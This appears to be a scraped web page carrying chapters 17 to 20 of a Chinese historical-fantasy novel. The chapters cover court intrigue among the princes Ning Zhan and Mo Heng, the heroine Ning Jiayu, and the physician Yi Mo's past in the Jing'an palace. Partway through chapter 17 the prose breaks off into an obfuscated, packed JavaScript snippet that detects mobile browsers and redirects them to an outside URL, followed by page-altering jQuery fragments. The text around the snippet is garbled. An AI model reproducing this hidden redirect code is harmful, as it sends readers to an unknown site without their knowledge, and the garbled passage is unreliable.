“殿下是指，迎柳阁此番，”宁佳与思忖道，“意在逼殿下出手？” “嗯。墨珩没见过我这张脸，”宁展道，“却知道元氏握着墨川的易容术。他会疑心，也算些有长进了。” “那寻芳楼......”宁佳与似是不经意论及此事，“说不定就是迎柳的暗桩咯。” 宁展转向以宁，吩咐道：“速去请承仁君领人查封寻芳楼，以及那条街上所有闭了店的铺子。” 以宁想不出景以承有什么用处，但麻利领命去了。 宁佳与看同僚如此迅速，也拔腿欲逃，不想堪至门口，即听宁展道：“与姑娘不忙罢？不忙且坐回来，你我说道说道。” 宁佳与没挪地方，回头笑问：“殿下还有事？” 宁展眉梢一挑，淡淡道：“无事便不能留你吗？还是劳与姑娘移步，要像请神那般洒水、敬香火？或像请金枝玉叶那般，安车蒲轮、八抬大轿？” 宁佳与嗤笑一声，跨步坐回来，敷衍拱手：“在下一介江湖散士，惶恐惶恐。” “如你所言，一介江湖散士，又是从何得知我的表字？”见宁佳与欲同上回那般胡编乱造，宁展立刻道：“与其再说是猜来的，不若换个新鲜的由头。哪怕不可信，好歹让我听个乐呵。” 闻言，宁佳与抱臂凝思，后神神秘秘地压低身子说：“我从旁人口中听来的。当时离得远，我也拿不准说话的人是谁，只记得那声儿忽轻忽重、忽稳忽乱......” “......我想听个乐，你就权当笑话讲？笑话还半真半假呢，”宁展气得想笑，“姑娘这是拿人当猴耍。” 宁佳与反问：“公子呢？” 宁展道：“我怎么了。” 宁佳与本打算揪着那声比上回更令人意外的“小与”不放，却终究没能说出口，扯了另一件事作补：“是公子许我入阁，又何故将我排在青竹阁之外？” “何出此言？” “今日之事，殿下若与以兄弟商议时捎上我。”宁佳与认真道，“我便不会贸然出手，险些害殿下自曝身份。” “......倒成我的不是了？”宁展道。 “属下可没这么说。”宁佳与嘟囔。 宁展是真没想到宁佳与对青竹阁的规矩一无所知，也是真不信她一无所知。毕竟在宁展眼里，宁佳与极可能本身就是位暗阁隐士。 “如是与姑娘。”宁展看着她，“要怎么相信一个瞎话信口拈来的人？” “殿下想听实话，我便说与您听。宁府那一晚，所谓‘没了爹娘、四海为家、谁人待我好我便跟谁走’，句句属实。至于‘想同富贵人家一般冠宁姓’，倒是无心之言。但我自小六亲无靠，” 宁佳与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679222|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支着下巴，笑貌轻松。 “姓氏何来？” “你......”宁展斟酌再三，道：“可还记得家中生变时，自己年岁几许？” “......六、七岁罢。” “往后呢？”宁展端直了身子，“去了哪处？” “往后自是由慈幼庄捡了去。殿下应当早命人在步溪打听过我师父这号人物了。”宁佳与坦然道，“岂会不知？” 幸而宁展在朝中将脸皮堆得够厚，否则必要败在这招猝不及防的豁达上。 他两手交叠，压着桌案，从容道：“截了与姑娘给师父的信，我很抱歉。但入青竹阁，就是绝世高人，也不能太过神秘。为表歉意，与姑娘可以向我、或向阁里提一个要求。” 宁佳与眼睛发亮，道：“什么要求都可以？” 宁展无奈道：“当然是我能办到的才可以。” “我要和以兄弟一样！”宁佳与脱口而出。 “你要......”宁展谨慎道，“哪方面？” “随殿下微服私行啊！我虽与大伙儿都说得上话，但到底是外乡人，独自待在阁里是不是太可怜了？况且，殿下也知道......” 宁佳与捏着自己未干的发尾，显得比说的可怜。 “步溪人的处境，有多艰难......” “你怕受人欺负？”宁展不信宁佳与怕，更不信谁能欺负她。 “那只是次要的！”宁佳与趁势追击，“殿下不想让旁人知晓此行，如今我听着了，又不得殿下信任。您若不肯允我参与，我还有命活吗？” 这个问题......宁展倒是尚未考虑。 但归根究底，还是同样的两个选择。 面对宁佳与，他要么永绝后患，要么为己所用。目前为止，他略倾向于后者。 “你想明白了。真要随行，往后见的血，”宁展道，“不会比今日少。” “在下不才，幸蒙殿下青眼。”宁佳与正色道，“不负殿下所托。” “无须自谦。你是个奇才，且许多想法......与我不谋而合。开弓没有回头箭，若你半道生异心，青竹阁不讲人情，”宁展收紧了双手，“我亦如是。” “殿下不信，我也要说——在下的的确确是个一诺千金之人。先前的誓愿追随，不论生死。” 宁佳与捡起下坠的折扇，扇骨一下一下敲打掌心，像故事即将结尾的说书先生，又像言来语去定宏图的风骨墨客。 “仍旧作数。” “如此，今后有本君一口饭吃，”宁展同是宽解人的口吻，“便有姑娘一盘含桃。” 宁佳与打扇出门。 “多谢展凌君记挂了。” - 景安雨过天青，既有燕蝶绕梁翩翩舞，亦有车水如龙嘈嘈闹。 比之景安秀色，墨川这头着实不堪观。墨珩在高座上巴巴等了半日，身侧立着位伺候的娇娘，外边儿仍是低云难雨，压得人透不过气。 一人急促踏入萧然，衣摆、袖襟处颜色尤深，闷沉许久的大殿终于有阴风簌簌穿堂。火苗凭空而生，炸响了埋地久矣的震天雷。 啪嚓！ 浅翠琉璃盏被摔得粉碎，几片尖利应声溅起，直冲来人束紧绑带的小臂划去。 琉璃盏盛满了怨气，刹那间割裂绑带，臂腕血肉模糊，足见墨珩摔杯之势。 那人埋着头，面色暗淡，居高望去，仍旧男女莫辨。 “砰”一声，将铺盖绒毯的金砖磕出了响。双手贴于额前，静候主子发落。 17. 敬令 墨珩拾起玉案上的短刀欲掷，那人耳闻声动，紧闭双目，视死如生。殿内只听墨珩气粗息急，短刀并未如常摔出。 “谁给你的胆子？啊？！”墨珩厉声呵斥，短刀同时扎穿盘中鲜果。 绛紫汁液喷上娇娘眼帘，她不敢擦拭，亦不敢阖眼，强忍异样。 “属下知错。”那人伏地说。 “本君只让你劫回以氏，谁给你的胆子命人下死手？” 墨珩挥刀指向那人，势将其千刀万剐也不解恨。刀尖挂着几抹绛色，俨如淬毒黑血，滴滴打落。 “我看你是人当够了，想做回耕地上的烂泥！是不是？” “属下不想。殿下......”那人终于抬起头，血自小臂流下，爬满了指间，猩红并着咸湿抹乱面颊，“别把我送走。” 墨珩轻声哂笑，道：“看着我。” 二人遥遥相视，墨珩反握短刀，白刃赫然刺进那娇娘腹部。她捂着小腹跌坐，神情悲痛，吊着一口气，伸手向墨珩讨命。 墨珩抽刀避开她的手，对其头颈补上一记，断了残喘，把尸体软绵绵地踢倒。 “平日本君乐得给你面子，你才能为所欲为、高人一等！若是再敢自作聪明，看清楚，你的下场，比她不如。” “清楚了......属下往后......”那人点头应声，手扯起衣摆，奋力裹去指间的血污，重新缠紧绷带，“再不会如此。” 大殿忽而静下，外头总算震响连片的雨声。 墨珩丢了红刀子，活动脖颈，道：“宁展如何了。” “回殿下，嘉宁世子前脚致信齐王，道不日拜访，善王后脚却放出消息，称宁展抱恙不出。嘉宁城中，至今未见宁展身影。想来......那景安城中的元氏，正如殿下所料。” “哦？” 高座之上疑惑一声，进而喃喃唤着个名字。声量极小，令旁人无从谛听。 名字的主人听得十分确切，于是依顺挪步。上了阶，冷不丁被孤伶伶瘫倒的女尸惊住。 墨珩当即大笑，道：“怕什么！你看着本君杀过的人，还少吗？” 这不是安慰，是不屑和挖苦。 言下之意，既是漠然观客又是浴血帮凶之人，又何必故作天真？ 来者缄口无言，遍及迎柳殿的笑声越发癫狂。 殿前典丽的帘门已难挡雨势汹涌，如潮而至。殿外的香樟与疾风骇光交相摧折，不分敌我。 如有万物众生捶打纱帘，砸门含冤。 更有轰雷掣电卷土奔来，呼啸而鸣，恰同殿中的狂笑浑然一体！ 寒芒陡然映白了邪魔也似的脸，墨珩目光狞恶，沉抑道：“是敬令。” “是敬令！” 他凶残地重复，怒不可竭。 “宁展......好一个展凌君，不愧为元氏那老妖婆的亲外孙，一家子皆是假道学、伪君子！便是那入了土的宁帝，概不例外！若扒了皮、拆了骨，尽是腐肉兽心！哪怕千年以后，枯骸上都写着贪得无厌，真他娘假惺惺！” 墨珩当即扬翻了桌上的果品和佳酿，其中半数酒食扑向女尸，余下的果饵及食具，则同方才刮入殿前的沥泥、败叶成了团，瞧着倒人胃口。 偏殿时刻候着待命的侍婢，堂中狼藉一片，无人上前归置打扫。 她们虽非眼盲心瞎，却是聋哑残疾。 饶是四方百姓私下都要骂墨珩一句“轻浮放浪、穷奢极欲”，可在墨川臣民心中，他又确有二三美德，其一便是救弱扶残。 “抛却殿下只济女子这一缺憾，他也算半个善人！”墨川人如是说。 权因臣民感念此善，墨珩方才得封少君，号曰“珩良”。 究其只济女子之由，他倒答得实在：“聋哑娇娘最是乖巧，放着顺眼，又无须担心多嘴多舌。且大字不识几个，即便哪天看了不该看的，她们也无从下笔。” 此等刺耳的话，她们听不着。 于她们而言，珩良君不是什么恶霸纨绔，是能让自己暖衣饱食、有家可归的人物。这人物气性是大，然世间哪有完人？ 迎柳殿的日子不难过，平素不是料理大殿及偏殿各房的布设，便是随着嬷嬷熟习规矩。得闲时，还能跟着些个时常背弓负箭的姐姐们偷学几段宫廷舞步，倘殿下来了兴致赏舞，即能一展芳姿、博君开颜。 聋哑女娘不知何为迎柳阁，更不知姐姐们因何总是来去匆匆。 每每抬头，可见匾额题着三个灿亮金字，她们不通其意，只知自己同可以随意走出这块匾额的姐姐身份有别。姐姐们偶尔丰容靓饰，偶尔蒙面束衣，不论如何打扮，殿下都十分合意。 小娘子个个看得出来，却并未由此生妒，反倒与姐姐们情同手足、表里相依。姐姐们但凡领得王公贵戚的赏，也定会从中分出她们那一份，欣然相赠。 除去珩良君的恩遇外，聋哑女娘之所以能在迎柳殿过得安生，关键还是将观貌察色习得尤为通透的缘故。 眼下墨珩正在气头，她们为死去的伙伴默哀，甚至私下躲着人点香烧纸，但不能步那女尸的后尘，是以无人上前。 待风雨渐歇，迎柳殿内，只有墨珩身边之人出声探问：“殿下，何为敬令？” 敬令的来龙去脉，唯持令者、七州王储及各朝重臣，方知端底。 纵高门贵戚，也是隐约闻悉有那么一件了不得的物什关乎全州命运，更不必说寻常百姓。几位暗阁主事，兴许能窥见一斑。 “哼，告诉你有何用。”墨珩鄙夷道，“你能替本君把敬令弄到手吗。” 那人渊默少顷，清切道：“若殿下想要，属下自当殚精毕力，办好此事。” “宁帝那老家伙，当年一心一计取信于万民，竟要将先前亲征四方夺来的东西通通交还其余六君！” 座上这位心服，口不服。他妒恨那老家伙头角峥嵘、少年称帝，对琛惠帝凭敬令巴结各州的作为嗤之以鼻。 墨珩脸色不爽，发着牢骚：“他熔了七对虎符，重铸成牌。正面一个‘敬’，背面一字州名，即是敬令。至于令下之意......本君记不得了！” 墨珩记得，不肯启齿，是觉着那寓意秀而不实，更唯恐宁帝在天上听得沾沾自满。 照理来说，墨珩位不及王储，不该知悉敬令一事。其时，他正当总角，兀自藏身于高文典册之后，将墨川先徉王的遗诏通盘翻腾、抄录下来，此中便有详述敬令的文辞。 文辞为琛惠帝亲书：“朕 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自宁展位极世子，近乎无人再唤展凌君。今闻宁佳与随口一提，勾起他不少往事。 嘉宁大殿下得旨晋君那会儿，善王特准其自定封号。文怀王后与他说，这“凌”字极好，乃故人早年所题。 宁展追问这位故人名讳，墨司琴却苦笑摇头。 宁展随即戏说：“母亲，这‘凌’莫不是在翻儿子幼时盛气凌人的旧帐罢！” 墨司琴闻言解颐，复郑重道：“傻小子，休要胡言。这‘凌’，意喻我儿志气凌云之势。” 宁展正了颜色，小心问：“儿子自知没少给母亲惹乱。母亲要打要罚，只别对儿子冷嘲热讽......” 墨司琴见他得了便宜还卖乖，顺手拿过篦子，假意虚打手板，道：“当我拿你打趣呢？告诉你也罢。那位故人当时比母亲更欣赏你，瞧她对你赞声不绝，你外祖母险些以为，我与那位故人将孩子错抱了。” “那......儿子日后，可有机会再同这位长辈见上一面？这赐字之恩，”宁展满脸春风，“须得当面敬谢才是。” 墨司琴掌中躺着篦子，垂眼道：“大抵......没机会了。” 宁展双膝跪地，朝母亲所指的东南方，深深一拜。 实际上，宁展起初也不习惯这冷冰冰的“展凌君”之称。 宫中原同他常在一处骑射的公子王孙连大殿下也不叫，皆是一口一个“大哥”。而这君号一封，口头自然生分许多。 可那群小弟却是真心喜欢这大哥，即或身份上隔着一层，亦视之若轻纱。轻纱一片，远不能挡情同手足。 众人嘴上尊称“展凌君”，手上照旧没轻没重地拽着宁展同去荷花池甩钩垂钓。 再往后，宁展位极王储，伙伴们也不停地窜个长高。大哥成了为善王分忧解难的世子，小弟成了各奔前程的殿下和公子。 宁展身侧日渐冷清，宫中的荷花池，也因妍昭仪之子意外落水而围起里外三圈铁索。至此，少有人唤展凌君，几无人近荷花池。 诸般意难平的凌字，从宁佳与那儿再次出现。 18. 贤士 宁展原想借日前中箭之说将宁佳与多留一会儿，不想他褪下衣裳一瞧，那创口已然大好，甚至结痂的痕迹也浅得几至消失。 这药可疑，太灵了。 自宁佳与给他献上奇药，宁展身上的伤不论新旧，皆是药到病除，可说霍然痊愈。愈合时间之快，快到他疑心这药莫非有什么骇人的副效被滑头狐狸瞒了下来。 宁佳与腿脚惊人，不待宁展另寻托词，跟后头有狗撵似的，穿上兔儿鞋就跑了。 可宁展转念一想，若是真将宁佳与留住，他倒不知如何开口。 是畅谈南行，还是共谋来日？或秉烛待旦，推心置腹？ 不妥，全都不妥。 好在今夜过后，眼前这块景州令当是如握在手，否则他这般因宁佳与委决不下的模样让冷面木头瞧去，免不了被逆耳忠言念得头疼。 三更天，景安大理寺不出宁展所料。其内灯烛通红，上至寺卿，下至司务，无不回嗔作喜。 众人难掩感极涕零之态，连连兴叹：“这群霸持市肆整整四年的毒家伙总算倒了大霉！此番人赃俱获，连平素不问世事的二殿下也出面作保，他们扑腾不到哪儿去了！” “岂但有二殿下亲口作保呀！据说，咱们景安这回来了位大人物呢......”小录事方才从声声欢跃中冒了嗓，便惹得满堂瞩目，越说越泄劲。 见这小录事只顾瞪眼挠腮，几位司狱急道：“你倒是接着说呀！这样的好日子，快别扫兴！” 录事虽年少有为，身居八品，可在老前辈面前，说到底还是个弱冠小子。 周围的前辈、小吏近乎要将他挤成片儿，小录事缩手缩脚道：“那位大人物，应当是......当是嘉宁世子殿下......我也是听来的！上头若要怪罪，你们可不能将我供出去！” 众人闻言，无暇顾及小录事的前景安危，个个又惊又喜，不停猜疑。 “宁世子不是身子抱恙，近日连朝都不上吗？” “生病算什么？去岁景安旱得鼠窝都搬光了，日头能将人活烧死。莫说搭把手了，谁愿往这儿挪一步？还不是宁世子！” “可再如何贤明方正，也不至亲临景安，替咱们兵微将寡的小地方出头吧？” 话音未落，立马有人接这茬：“不对罢！午前那群恶棍被二殿下带人领走之后，街尾的就同我说了，说是......满街的刺客，直把刀子朝着宁世子的心上人挥呢！宁世子吓得不轻，这才与二殿下通了气儿，四处拿人。” “这么说......这位大人物乐善好义，更是位痴情儿郎啊？怪道嘉宁善王最重长子，原来宁氏的家规——”小录事道，“是爱妻啊！” 此言一出，堂中笑倒大片。 并非意在起哄，盖因如此好天良夜，是托了这位大人物洪福。毕竟为那群恶棍撑腰的主儿，不是寻常人轻易能够扳倒的势力。 老司狱欢欣道：“可说呢！我估摸着，今儿个天一亮，宁世子指定得乘舆进宫去了。” - 东曦既驾，春光万道阔如海，洒在这三街六巷添彩又添气，焕发新生。 不过卯初三刻，昨日风雨萧条的集市业已观者如云，可谓盛况空前。 宁展等人尚在院中，也听得外头群情鼎沸。对此情状，他有所预想，却不料四人乘上宫舆还未行至街口，便寸步难移。 舆外鼓乐齐鸣轰天响，欢声如雷贯耳聩，一派大吹大打之景。 群音夹道高呼：“千恩万谢不足矣，恭迎贤士临景安！” 明面上，宁展仍身在嘉宁休养，是以嘉宁不可呼、世子不可呼。 贤士，倒是个妙词。 舆内三人多少有些动容，而贤士本尊却是眉眼难展。 “公子为何情绪不高？左右您南下的消息被迎柳阁传开了，民心如此，至少您能拿稳......”以宁顿了顿，“信物了。” 宁展揉着眉心，为难道：“民心是好，可阵仗太甚，恐生变故。” 以墨不明缘由，但知宁展不喜热闹，于是道：“殿下莫怪，景安不比嘉宁严明，百姓们也是一片赤忱。容民女出面劝止便好。” 宁展颔首道：“有劳墨郎中了。” 以墨一身男子大袖衫，确认冠帽无误后，探出马车，先行作揖，待停鼓消声，方才道：“各位乡友赶早起行，为我等奏乐相迎，实在辛苦。正因诸家心中赤忱不灭，盼得景安重见天明，吾辈皆是顺水推舟之人罢了。今日多谢！心意至此即可。” 以墨收了手，换上松快语调，接着说：“英明神武的二殿下现不在此处，若大家感念其义，还请抛却早年污名，日后只为他多多美言罢！” 这是将“贤士”放到了景以承头上。 众人纷纷笑开，又交口称赞以墨一番，终于让出道来。 待以墨退回舆内，宁展和宁佳与皆为妙语叹服，独以宁不知不觉。 “没什么的。这些话，”以墨拍了拍以宁的手，看着他，“阿宁永远都不会说才好。” 以宁默然，宫舆启行。 今次得随宁展入宫，宁佳与深有感触。与大人物同行就是要磨人些，门帘开不得，连窗幔也开不得。 本是春风送爽的天，这车里都快赶上晨间腾腾出气的包子铺那般溽热了。 宁佳与不堪折磨，忽而抽出银骨扇，引得以宁下意识蓦地把住剑柄。 宁佳与哑然，边抱歉边收了折扇，改掏几粒含桃退热。她眼珠一转，对宁展道：“殿下，方才起，属下便想问了。” 宁展不知何时闭目养起神，淡然道：“问。” 宁佳与瞧他又是这副不肯正眼看人的模样也不恼，兴致勃勃：“属下一介无名小卒，何其有幸能与贤士公子同乘面上啊？” 尖牙利齿的狐狸说话就是不中听，几根小刺扎得贤士公子不得不睁眼。 昨日是谁放言高论，指责他将人排斥在外的？这回他费尽心思给人捎上了，照样要遭揶揄。宁展瞥着悠闲吃桃的宁佳与，气不打一处来。 以宁道：“与姑娘有所不知。我们 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宁佳与竖起食指左右摆，正色道：“彼此彼此——哦不，礼尚往来。” 她不给宁展还嘴的余地，转向以墨，捧起掌心堆的含桃。 “墨姐姐也吃。” 以墨看她笑眼弯弯，心绪跟着转晴，乐道：“好。” “既如以兄弟所言，墨姐姐理应倍受厚待。可姐姐为何自从接了旨，”宁佳与嚼得腮帮鼓起，“便时有难色？” 以宁哪知这两军交战竟要殃及以墨，旋即变了脸色，抢断道：“与姑娘！阿姊她——” “阿宁。”以墨自若如常，缓缓道，“无妨。” 软风拨动门帘，以墨顺隙看去，遥望宫墙。 她凝视片刻，呢喃道：“承仁君，同阿宁一边大，两人皆比我小那么三岁。昔年，阿宁出生不足一月，我便被送道景安宫中，做了旁人的阿姊。起初，我也恨，成夜地恨。可那阵子，偏偏宫里每个人都待我有求必应，我竟一时不知该恨谁了。尤其是......” 她兀自吞咽一气，接着说：“承仁君。他想要靠近，却总是无意打翻我的食具、方书，又边哭边舞着豆糕大的拳手自己收理时，我才想明白。以承也不过是个牙牙学语的婴孩，那高墙里头，我恨谁，最不该恨他。” 宁佳与听得攒眉，不由去握以墨的手。 “后来，我是宫人口中识时务的小吏，也看清了那些待我亲如一家之人，所图何物。说到底，就是为以氏从前概不外传的医理。好，既能发扬光大，我情愿倾囊相授，按着泰王的意思，收以承为首位外姓入室弟子。” 以墨素日行事面面俱圆，无不照应身边人的感受。眼前实在心余力绌，她没劲回应宁佳与的安慰。 “再后来......以承也长大了。他自小老实可爱，转头却成了任人咂舌的纨绔赌徒。日以继夜溺在赌坊和当铺，再不‘墨姐姐’长、‘墨姐姐’短地跟在我身后跑，也再不愿听我一句劝言。” 19. 拔舌 以墨断断续续地说着，视线依然远眺。 “我知以......承仁君并非存心发难。先前，朝野皆知承仁君入以氏门下，未待他学成，以家的门槛，便被乌衣绣户送来的游闲哥儿踏烂了。 “他是忧心以家好容易保住的医理、医道，全由些无知妄作之人愚弄毁去，方才陷自己于不仁不义，凭人诟病......让重名声的权贵远离以家。” 虽举目尽是贪名图利之辈，可景以承待她，从来都是真心实意。 - 自以墨进宫后，奉旨终日陪伴景二殿下。 景以承满月丧母，却不曾闹过她一刻。 小儿正贪玩的年岁，他老实巴交坐在以墨身边，即使看纸上的墨迹像极了蚂蚁挪窝，也竭力忍着不伸手去捉。 景二殿下走到四年前的每一步，皆有墨郎中的身影相随相伴。 以墨的前半生，即是做他幼时的阿姊、髫龄的游伴、少年的师长。虽始于身不由己，也难得肝胆相待。 景安大内之中，日子祥和下来，闲人不免骚动。 有人忌恨她近水楼台，小小年纪攀得高枝；有人奚落她时乖命蹇，道景二殿下既能克死自己的生母，就能克死她这个受盘的伴读。 旁人只顾看戏作评、摇唇鼓舌，哪里是真心在乎戏中人归终是贵是贱、是死是活。 景安王后便是庞杂其间的一张豺狼嘴。 早年，身处墨川的以钟行应景安泰王召，须送一位以家门徒入宫伴读，以重兴景安医道。 以氏得景安先王照顾，于景安起家。景安有求，以家于情于理都不能推辞。 可泰王明知以氏素来传内不传外，众弟子更是在两州大战时门殚户尽，却仍下此令。 以钟行无奈，唯恐以墨受欺负，只得将其扮作男儿身，再请了元太后的恩典改冠墨姓，让她面上带着以氏门生的名头，底下握着墨川大姓的依仗。 如此来头，人未入宫，景安王后就算起美账，有意把人“请”到她宫里辅佐景大殿下。怎料泰王深觉有愧于景二殿下，早定了以氏门生的去向，无论她如何吹枕边风，皆是竹篮打水。 景安王后气急，此后连带着看以墨也不顺眼，心道她动不得那晦气的扫帚星，还动不得这独在异乡的死小子吗？ 诬谤捏词已是轻，王后每每踩准景以承赖在赌坊那段时日，命人以“教唆王室公子”之名，将以墨拖到宫道上蒲鞭示辱，骂了打、打了骂。 历经半载，以墨上书请辞，泰王无奈允了。 为做全纨绔戏码，景以承再未踏入过以墨的学房和配殿。 除却以墨，他在宫中没有交情好的人，自无从得知以墨为何决绝辞官，私以为是看他堕落，心灰意冷。 二人相扶而行，景以承从未将以墨视作侍从或伴读。同渡十余载，他别无所求，只是满腔敬爱无处安置，全寄在一人身上。 女子之身，是困在围墙里，独属于彼此的秘密。围墙很高，高得任他如何喊那声墨姐姐，外边儿也听不见。 眼看以墨要走出这样的围墙，他庆贺还来不及。 纵相互间有过诸多珍贵的喜乐，也不能成为他挽留对方的理由。 临走前，以墨等了景以承一天一夜。 她不知景以承没有出面告别的缘故，即如景以承不解她离宫的念头。 作为师长，她却只能眼睁睁看着学生以自毁名誉保全她的心血。她固然伤怀，更是自觉枉为人师，亦不愿再牵累学生，方辞官归去。 彼时顺利抽身，以墨迁思回虑，仍无法安心。 同样远在异乡的小弟，处境尤甚于她的阿宁，逢多事之秋，是否也要这般委曲求全...... - 以宁看以墨噤声泪下，怨从心起，困惑道：“阿姊！到了今日，你竟还要为那赌徒说话？若不是他胡作非为，阿姊从前怎会过得那样辛苦！” 独往景安后，以墨仅掉过两回眼泪。一次是时隔多年与家人相聚，再次便是今日。 于她而言，只要山河未覆、天下承平，此生再苦再难，也不值得垂泪。若让老天爷将软处看了去，指不定哪日，隐匿暗处的奸人就该踩着她，欺负到她至亲头上。 泪珠从宁佳与手背滑落，她愣了好一会，才从荷包里又掏出几粒含桃，恳切地捧到以墨眼前。 以墨被她这痴痴的模样逗得破涕，伸手点了点宁佳与的脑门儿，再转头劝慰以宁：“阿宁，我同你讲过的，若没有承仁君，以家名节难保。日后，我等如何承祖辈遗志？大家还会愿意将自己的希望托付到以家门生手上吗？” “这人果真如阿姊说的那般好，又怎会整整四年对阿姊不闻不问？”以宁不忿道，“他承仁君，得闲回过头去舞文弄墨、重整名望，却想不起为他传道授业、挨打受骂的师长？！” 以宁言语激切，两手握拳透掌，几欲将掌心生生剜出血来。 莫说宁佳与，宁展也极少见以宁如此失控的一面，他恍惚忆起三年前的七州大典。 - 泰王并非对景安王后的作为一无所闻，然碍于其母族权势，只得正告王后：“以氏门生既已离宫，今后，别再让我听到你的人捏造是非。” 至此，不了了之。 发往嘉宁的家书中，以墨潦草带过了辞官的前因后果，重点着墨于医馆选址云云。 以宁不是从旁人嘴里得知以墨受辱之事，正是在步溪宫中的大典席上，无意听景安王后同景大殿下洋洋显耀，她是如何变着花样逼走了扫帚星的老师。 那些“花样”和景大殿下的笑声无不刺耳，以宁如今日一般攥紧了拳头，却被宁展及时按下步子。 世人眼中谦恭仁厚的展凌君，不会在众目下自毁美誉，亦不会委屈了身侧这位傻大哥。 宁展举酒托杯，敬拜各州君王，后领着以宁从容离席。 主从二人出了步溪王宫，快马行至青竹暗桩，命人趁夜潜入景安王后休憩的配殿，拔下那泼妇的舌头。 宁展本欲顺带废去百无一是的景大殿下一条腿，以宁当即劝止：“殿下，此事因她起，便由她收场罢。若挨个追究，最后怕是要闹到您身上。” “你怎知他们母子不是同恶相济？闹由他们闹去，大不了以战去战，我亲自领兵！” 以宁再傻，也听出这是气话。宁展平生最恨争战，且景安兵微将寡，就算不忌 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七州境内，无人不知善王对长子疼爱有加。如说宁展一席话还不足以动摇人心，善王此番看似无意的发问，便是拥护这作罢的立场站稳了脚。 于是不待景安那头回应，列位不是侧首佯装商讨，便是直截朗声附和。 步溪重臣试探：“微臣听闻，今日街市上热火朝天，还道是各方共贺良吉，原是拍手叫好啊。” 琅遇重臣推度：“这么说，那逃走的罪人倒成了百姓的恩公？” 琅遇震王放声：“啊唷，何止是百姓的恩公！” 汴亭缙王窘促：“震王您......慎言。” 墨川重臣煽动：“臣以为，嘉宁大殿下言之有理！这种麻烦事，果然还是心细之人看得清。” 谁都不肯当讨人嫌的出头鸟，这会子好容易有壮士挺身当先，更有嘉宁善王为其撑腰，大伙儿自然响应不迭。 唯永清、景安两方始终缄口。 事关景安王后，泰王不便过多分说。归根结底，还是他不愿为那毒妇辩解。 至于摔杯离席的永清月王，有人以为，她是因着永清与嘉宁的宿仇，不乐意搭理嘉宁的立场；亦有人以为，永清遵奉女尊男卑，依她的原则，即或今日景安王后罪当万死，她也不会出言讨伐一句。 当然，说千说万都不过是旁人揣测，月王的心思究竟深浅几许，唯身边的永清重臣一人能度。 此事了结后，比“景安王后罪有应得”更令坊间喋喋不已的，是展凌君一日赛过一日的声望。 宁展贤名不衰反盛，颂声载道。 - 以宁心中早有怨气，只是在以墨面前不提，至今方才表露些许。话匣子一开，他只顾为阿姊鸣不平，不觉宫舆业已停驻良久。 以墨眼瞧以宁如此，隐约猜到以宁其实对她自以为藏得很好的旧事一清二楚，心中抱愧，如鲠在喉。 余下二位默契神会，瞥见马车行至宫门前，也不曾打断以宁。 而出宫迎驾的景以承，眼下正独立舆侧。他与几人一帘之隔，遮住了面面相觑之景，却遮不住里边高低起伏的挞伐之音。 20. 通灵 景以承明白，车里时断时续的男声已是克制，可他听来掷地敲金，有如裂石穿云，将他抛往俯首望不到立足之地的高处。 逐字逐句，自脚下逆流而起，在脑海里翻腾不休，掀起滚滚千层浪。 依宁展以为，有些话哪怕再难听，也总会有入耳的那天。然自门帘隙间瞟见景以承的脸色益发苍白，他不得不开口了。 “与姑娘，烦你去瞧瞧，外头那位可是承仁君？” 舆内情绪正浓，宁展一盆冷水赫然浇下。 如非虑及好容易敞开心扉的以墨，不管宁展如何和颜悦色，宁佳与定要将煞风景的伪君子噎回去。 她眯起两眼，无声质问宁展：外头那位究竟是谁、站了多久，你会不知道？你自己怎么不去？ 宁展本无须理会她冒犯的斜睨，却鬼使神差回过眼神：你我谁是下属？不若这掌阁之位，给你来坐？ 二人隔三差五拌嘴，如今撞上眼刀便能将对方使了几成力猜得八.九不离。此间一来一回，若由不知者打量去，少不得以为二人私下通了灵。 宁佳与不做不休，直截抬手把帘子掀到顶上，让里外久等的双方会了面。 眼看宁展好悬没端稳温润而泽的架子，她十分满意，喜笑道：“真是承仁君，公子好耳力。” 几人下了马车，任谁一瞧，都能读懂景以承急着表现景安王室热肠古道，以恭迎来客的心思。 奈何方才那番尖锐的讥评仿若抽了他的魂，景以承皮笑肉难笑，仅剩一口闪眼的白牙犹在。 许是同宁佳与连日相对，宁展也开始耐不住嘴。他挪步景以承身侧，好心道：“景兄，快别笑了。” “怎么了？”景以承不明所以，仍挂着笑，“元兄可是心绪不佳？” 太难看了。 “不大......”宁展终究做不到宁佳与那般直白，委婉道：“不大雅观。” 宁佳与扑哧乐出声。 景以承观其掩口失笑，倒是令他略有所感。这场面，同他和宁展、宁佳与初会时如出一辙。 彼时，他尚不知这元兄或是同自己有过几面之缘的嘉宁世子。他与宁展并肩，宁佳与则立在边上掩口忍笑。 景以承幡然醒悟，想是嘉宁皆视“露齿大笑”为不雅。 于是，众人便看着他默默捏起宽袖，遮住了自个儿的笑面，颇显娇羞。袖襟浮动间，景以承窥得对面的脸色更加古怪，方觉不妥，又效仿宁佳与抚掌掩口。 这会子功夫，景二殿下换了不止十种神姿。他本人倒是不难堪，只旁边僵直随侍的宫人丢足了面子，纷纷埋头盯鞋。 简直荒唐。心中烦乱的以宁按捺不住，责问道：“我说景二殿下，你们景安王室不待见人，让公子和两位姑娘步行入宫也就罢了。何必还要派您到此，费尽心思作弄我等？” 宁佳与乐得直不起腰，宁展尽可能不去看她，扶额掂量如何转圜此局。 以墨知道以宁误会了，未及替小弟解释，景以承仓皇摆手，嘴里不停念叨“不是不是”。 几人皆压着性子看他晃了半晌的手，也没等到除了“不是不是”以外的话。 “以承，别急。”以墨柔和道，“你想说什么？” 景以承因这熟悉的口吻稍稍平静。 他从怀里掏出帕子擦拭冷汗，徐徐道：“景安王室绝无怠慢的意思，只是众朝臣十分感激墨郎中与几位贵客，故向父王提议，百官并列途中，夹道参拜。” 说罢，众人随引路宫娥进宫。 回溯以墨初至景安，是个双瞳剪水的小女娃。 来人女官模样，牵着小子装扮的以墨往深处去，却三过宫门而不入，像是围着宜和宫不停地绕圈。 